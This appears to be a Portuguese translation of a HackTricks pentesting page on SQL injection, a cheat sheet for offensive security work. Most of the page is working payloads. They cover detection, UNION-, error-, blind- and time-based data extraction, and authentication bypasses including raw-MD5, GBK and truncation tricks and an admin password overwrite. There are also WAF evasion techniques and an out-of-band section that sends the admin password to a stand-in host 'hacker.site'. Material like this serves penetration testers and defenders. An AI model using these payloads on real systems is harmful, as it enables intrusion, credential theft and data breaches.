hacktricks/pentesting-web/sql-injection
2024-08-04 15:18:03 +00:00
..
mysql-injection Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00
postgresql-injection Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:14:51 +00:00
sqlmap Translated ['network-services-pentesting/512-pentesting-rexec.md', 'netw 2024-08-04 15:18:03 +00:00
cypher-injection-neo4j.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:14:51 +00:00
ms-access-sql-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00
mssql-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00
oracle-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00
README.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 03:59:20 +00:00
sqlmap.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:12:26 +00:00

SQL Injection

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

O que é injeção SQL?

Uma injeção SQL é uma falha de segurança que permite que atacantes interfiram nas consultas ao banco de dados de uma aplicação. Essa vulnerabilidade pode permitir que atacantes visualizem, modifiquem ou deletam dados que não deveriam acessar, incluindo informações de outros usuários ou qualquer dado que a aplicação possa acessar. Tais ações podem resultar em mudanças permanentes na funcionalidade ou conteúdo da aplicação ou até mesmo comprometimento do servidor ou negação de serviço.

Detecção de ponto de entrada

Quando um site parece ser vulnerável a injeção SQL (SQLi) devido a respostas incomuns do servidor a entradas relacionadas a SQLi, o primeiro passo é entender como injetar dados na consulta sem interrompê-la. Isso requer identificar o método para escapar do contexto atual de forma eficaz.
Estes são alguns exemplos úteis:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Então, você precisa saber como corrigir a consulta para que não haja erros. Para corrigir a consulta, você pode inserir dados para que a consulta anterior aceite os novos dados, ou você pode apenas inserir seus dados e adicionar um símbolo de comentário no final.

Observe que se você puder ver mensagens de erro ou notar diferenças quando uma consulta está funcionando e quando não está, esta fase será mais fácil.

Comentários

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Confirmando com operações lógicas

Um método confiável para confirmar uma vulnerabilidade de SQL injection envolve executar uma operação lógica e observar os resultados esperados. Por exemplo, um parâmetro GET como ?username=Peter que produz conteúdo idêntico quando modificado para ?username=Peter' ou '1'='1 indica uma vulnerabilidade de SQL injection.

Da mesma forma, a aplicação de operações matemáticas serve como uma técnica de confirmação eficaz. Por exemplo, se acessar ?id=1 e ?id=2-1 produzir os mesmos resultados, isso é indicativo de SQL injection.

Exemplos demonstrando a confirmação de operação lógica:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Esta lista de palavras foi criada para tentar confirmar SQLinjections da maneira proposta:

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

Confirmando com Timing

Em alguns casos, você não notará nenhuma mudança na página que está testando. Portanto, uma boa maneira de descobrir SQL injections blindas é fazer com que o DB execute ações que terão um impacto no tempo que a página leva para carregar.
Portanto, vamos concatenar na consulta SQL uma operação que levará muito tempo para ser concluída:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Em alguns casos, as funções sleep não serão permitidas. Então, em vez de usar essas funções, você poderia fazer a consulta realizar operações complexas que levarão vários segundos. Exemplos dessas técnicas serão comentados separadamente em cada tecnologia (se houver).

Identificando o Back-end

A melhor maneira de identificar o back-end é tentar executar funções dos diferentes back-ends. Você poderia usar as funções sleep da seção anterior ou estas (tabela do payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Também, se você tiver acesso à saída da consulta, poderá fazer com que imprima a versão do banco de dados.

{% hint style="info" %} A continuação, vamos discutir diferentes métodos para explorar diferentes tipos de SQL Injection. Usaremos MySQL como exemplo. {% endhint %}

Identificando com PortSwigger

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

Explorando Baseado em Union

Detectando o número de colunas

Se você puder ver a saída da consulta, esta é a melhor maneira de explorá-la.
Primeiro de tudo, precisamos descobrir o número de colunas que a requisição inicial está retornando. Isso ocorre porque ambas as consultas devem retornar o mesmo número de colunas.
Dois métodos são tipicamente usados para esse propósito:

Order/Group by

Para determinar o número de colunas em uma consulta, ajuste incrementalmente o número usado nas cláusulas ORDER BY ou GROUP BY até que uma resposta falsa seja recebida. Apesar das funcionalidades distintas de GROUP BY e ORDER BY dentro do SQL, ambos podem ser utilizados de forma idêntica para determinar a contagem de colunas da consulta.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Selecione mais e mais valores nulos até que a consulta esteja correta:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Você deve usar valores null, pois em alguns casos o tipo das colunas de ambos os lados da consulta deve ser o mesmo e null é válido em todos os casos.

Extrair nomes de bancos de dados, nomes de tabelas e nomes de colunas

Nos próximos exemplos, vamos recuperar o nome de todos os bancos de dados, o nome da tabela de um banco de dados, os nomes das colunas da tabela:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Existe uma maneira diferente de descobrir esses dados em cada banco de dados diferente, mas a metodologia é sempre a mesma.

Exploiting Hidden Union Based

Quando a saída de uma consulta é visível, mas uma injeção baseada em união parece inatingível, isso significa a presença de uma injeção baseada em união oculta. Esse cenário frequentemente leva a uma situação de injeção cega. Para transformar uma injeção cega em uma baseada em união, é necessário discernir a consulta de execução no backend.

Isso pode ser realizado através do uso de técnicas de injeção cega juntamente com as tabelas padrão específicas do seu Sistema de Gerenciamento de Banco de Dados (DBMS) alvo. Para entender essas tabelas padrão, é aconselhável consultar a documentação do DBMS alvo.

Uma vez que a consulta tenha sido extraída, é necessário adaptar seu payload para fechar com segurança a consulta original. Em seguida, uma consulta de união é anexada ao seu payload, facilitando a exploração da injeção baseada em união recém-acessível.

Para obter insights mais abrangentes, consulte o artigo completo disponível em Healing Blind Injections.

Exploiting Error based

Se por algum motivo você não pode ver a saída da consulta, mas pode ver as mensagens de erro, você pode fazer com que essas mensagens de erro exfiltratem dados do banco de dados.
Seguindo um fluxo semelhante ao da exploração baseada em União, você poderia conseguir despejar o DB.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Explorando Blind SQLi

Neste caso, você não pode ver os resultados da consulta ou os erros, mas pode distinguir quando a consulta retorna uma resposta verdadeira ou falsa porque há conteúdos diferentes na página.
Neste caso, você pode abusar desse comportamento para despejar o banco de dados caractere por caractere:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

Este é o mesmo caso de antes, mas em vez de distinguir entre uma resposta verdadeira/falsa da consulta, você pode distinguir entre um erro na consulta SQL ou não (talvez porque o servidor HTTP falhe). Portanto, neste caso, você pode forçar um erro SQL toda vez que adivinhar corretamente o caractere:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploração de SQLi Baseada em Tempo

Neste caso, não há nenhuma maneira de distinguir a resposta da consulta com base no contexto da página. Mas, você pode fazer a página demorar mais para carregar se o caractere adivinhado estiver correto. Já vimos essa técnica em uso anteriormente para confirmar uma vulnerabilidade SQLi.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Você pode usar consultas empilhadas para executar várias consultas em sucessão. Note que, enquanto as consultas subsequentes são executadas, os resultados não são retornados para a aplicação. Portanto, essa técnica é principalmente útil em relação a vulnerabilidades blindas onde você pode usar uma segunda consulta para acionar uma consulta DNS, erro condicional ou atraso de tempo.

Oracle não suporta consultas empilhadas. MySQL, Microsoft e PostgreSQL as suportam: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Se nenhum outro método de exploração funcionou, você pode tentar fazer com que o banco de dados exfiltre as informações para um host externo controlado por você. Por exemplo, via consultas DNS:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Exfiltração de dados fora de banda via XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Exploração Automatizada

Verifique o SQLMap Cheetsheat para explorar uma vulnerabilidade de SQLi com sqlmap.

Informações específicas da tecnologia

Já discutimos todas as maneiras de explorar uma vulnerabilidade de SQL Injection. Encontre mais algumas dicas dependentes da tecnologia de banco de dados neste livro:

Ou você encontrará muitas dicas sobre: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL em https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervente para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

Bypass de autenticação

Lista para tentar contornar a funcionalidade de login:

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

Bypass de autenticação de hash bruto

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Esta consulta demonstra uma vulnerabilidade quando o MD5 é usado com true para saída bruta em verificações de autenticação, tornando o sistema suscetível a SQL injection. Os atacantes podem explorar isso criando entradas que, quando hashadas, produzem partes inesperadas de comandos SQL, levando ao acesso não autorizado.

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!

Bypass de autenticação por hash injetado

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Lista recomendada:

Você deve usar como nome de usuário cada linha da lista e como senha sempre: Pass1234.
(Esses payloads também estão incluídos na grande lista mencionada no início desta seção)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

Bypass de Autenticação GBK

SE ' estiver sendo escapado, você pode usar %A8%27, e quando ' for escapado, será criado: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python script:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Injeção poliglota (multicontexto)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modificar a senha de um objeto/usuário existente

Para isso, você deve tentar criar um novo objeto nomeado como o "objeto mestre" (provavelmente admin no caso de usuários) modificando algo:

  • Criar usuário chamado: AdMIn (letras maiúsculas e minúsculas)
  • Criar um usuário chamado: admin=
  • SQL Truncation Attack (quando há algum tipo de limite de comprimento no nome de usuário ou e-mail) --> Criar usuário com nome: admin [muitos espaços] a

SQL Truncation Attack

Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for, por exemplo, 30 e você quiser se passar pelo usuário admin, tente criar um nome de usuário chamado: "admin [30 espaços] a" e qualquer senha.

O banco de dados irá verificar se o nome de usuário introduzido existe dentro do banco de dados. Se não, ele irá cortar o nome de usuário para o número máximo permitido de caracteres (neste caso para: "admin [25 espaços]") e então irá remover automaticamente todos os espaços no final atualizando dentro do banco de dados o usuário "admin" com a nova senha (algum erro pode aparecer, mas isso não significa que não funcionou).

Mais informações: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco à direita por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre isso, verifique: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

Verificação baseada em tempo de inserção do MySQL

Adicione quantos ','','' você considerar para sair da declaração VALUES. Se o atraso for executado, você tem uma SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

A cláusula ON DUPLICATE KEY UPDATE no MySQL é utilizada para especificar ações que o banco de dados deve tomar quando uma tentativa é feita para inserir uma linha que resultaria em um valor duplicado em um índice UNIQUE ou PRIMARY KEY. O seguinte exemplo demonstra como esse recurso pode ser explorado para modificar a senha de uma conta de administrador:

Exemplo de Injeção de Payload:

Um payload de injeção pode ser elaborado da seguinte forma, onde duas linhas são tentadas a serem inseridas na tabela users. A primeira linha é uma isca, e a segunda linha visa o e-mail de um administrador existente com a intenção de atualizar a senha:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Aqui está como funciona:

  • A consulta tenta inserir duas linhas: uma para generic_user@example.com e outra para admin_generic@example.com.
  • Se a linha para admin_generic@example.com já existir, a cláusula ON DUPLICATE KEY UPDATE é acionada, instruindo o MySQL a atualizar o campo password da linha existente para "bcrypt_hash_of_newpassword".
  • Consequentemente, a autenticação pode ser tentada usando admin_generic@example.com com a senha correspondente ao hash bcrypt ("bcrypt_hash_of_newpassword" representa o hash bcrypt da nova senha, que deve ser substituído pelo hash real da senha desejada).

Extrair informações

Criando 2 contas ao mesmo tempo

Ao tentar criar um novo usuário, nome de usuário, senha e e-mail são necessários:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Usando decimal ou hexadecimal

Com esta técnica, você pode extrair informações criando apenas 1 conta. É importante notar que você não precisa comentar nada.

Usando hex2dec e substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Para obter o texto, você pode usar:

__import__('binascii').unhexlify(hex(215573607263)[2:])

Usando hex e replace (e substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervente para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

Injeção SQL Roteada

A injeção SQL roteada é uma situação em que a consulta injetável não é a que gera a saída, mas a saída da consulta injetável vai para a consulta que gera a saída. (Do Paper)

Exemplo:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

Bypass de WAF

Bypasses iniciais daqui

Bypass sem espaços

Sem Espaço (%20) - bypass usando alternativas de espaço em branco

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - contornar usando comentários

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - contornar usando parênteses

?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass usando OFFSET, FROM e JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Bypasses Genéricos

Lista negra usando palavras-chave - bypass usando maiúsculas/minúsculas

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist usando palavras-chave sem diferenciação entre maiúsculas e minúsculas - contornar usando um operador equivalente

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Bypass de WAF com Notação Científica

Você pode encontrar uma explicação mais detalhada desse truque no blog da gosecure.
Basicamente, você pode usar a notação científica de maneiras inesperadas para contornar o WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Bypass Column Names Restriction

Primeiramente, note que se a consulta original e a tabela de onde você deseja extrair a flag tiverem a mesma quantidade de colunas, você pode simplesmente fazer: 0 UNION SELECT * FROM flag

É possível acessar a terceira coluna de uma tabela sem usar seu nome usando uma consulta como a seguinte: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, então em uma sqlinjection isso pareceria assim:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Ou usando um bypass de vírgula:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Este truque foi retirado de https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Ferramentas sugeridoras de bypass de WAF

{% embed url="https://github.com/m4ll0k/Atlas" %}

Outros Guias

Lista de Detecção de Força Bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}